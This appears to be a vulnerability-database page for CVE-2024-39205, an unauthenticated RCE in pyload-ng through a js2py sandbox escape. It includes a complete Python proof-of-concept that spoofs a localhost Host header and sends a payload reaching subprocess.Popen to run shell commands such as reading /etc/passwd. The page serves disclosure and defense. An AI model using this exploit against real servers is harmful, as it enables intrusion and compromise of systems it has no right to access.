CVE-2024-39205 — Vulnerability in pyload-ng — CVE Details
pyload-ng vulnerable to RCE with js2py sandbox escape
What Should I Do?
Low-to-Moderate Risk
Exploitation probability is 11.20% in 30 days. Address in your next planned sprint.
Does your project use an affected pyload-ng version?
Paste your requirements.txt to check it for CVE-2024-39205 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.
Details
js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.
PoC
The PoC is provided as poc.py below, you can modify the shell command it execute:
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
{data}
""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()
Impact
Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.
Advisory Timeline
- First published September 9, 2024 (808 days ago).
- Last revised November 16, 2026 — 798 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| pyload-ng PyPI · Affected: 0.5.0a5.dev528, 0.5.0a5.dev532, 0.5.0a5.dev535, 0.5.0a5.dev536 (+87 more) | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-94Code InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597rWEB
- https://nvd.nist.gov/vuln/detail/CVE-2024-39205ADVISORY
- https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-EscapeWEB
- https://github.com/advisories/GHSA-h95x-26f3-88hrADVISORY
- https://github.com/pyload/pyloadPACKAGE
- https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-499.yamlWEB
- https://pypi.org/project/pyload-ngWEB
Frequently Asked Questions
- What is CVE-2024-39205?
- pyload-ng vulnerable to RCE with js2py sandbox escape. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
- How do I check if my project is affected by CVE-2024-39205?
- CVE-2024-39205 affects pyload-ng. It has a 11.2% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-39205 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This places it in the top 5% of EPSS-scored vulnerabilities — 96.7% of tracked vulnerabilities score at or below it, so it is far more likely to be exploited than nearly all other tracked vulnerabilities.
Also Known As
Related CVEs
- CVE-2024-32880CRITICAL
pyLoad allows upload to arbitrary folder lead to RCE
- CVE-2025-54802CRITICAL
pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)
- CVE-2023-0435CRITICAL
Excessive Attack Surface in pyload-ng
- CVE-2025-55156CRITICAL
PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter
- CVE-2025-54802CRITICAL
pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)
- CVE-2026-35459CRITICAL
pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)
- CVE-2025-53890CRITICAL
pyLoad vulnerable to XSS through insecure CAPTCHA
- CVE-2026-33992CRITICAL
pyLoad: Server-Side Request Forgery via Download Link Submission Enables Cloud Metadata Exfiltration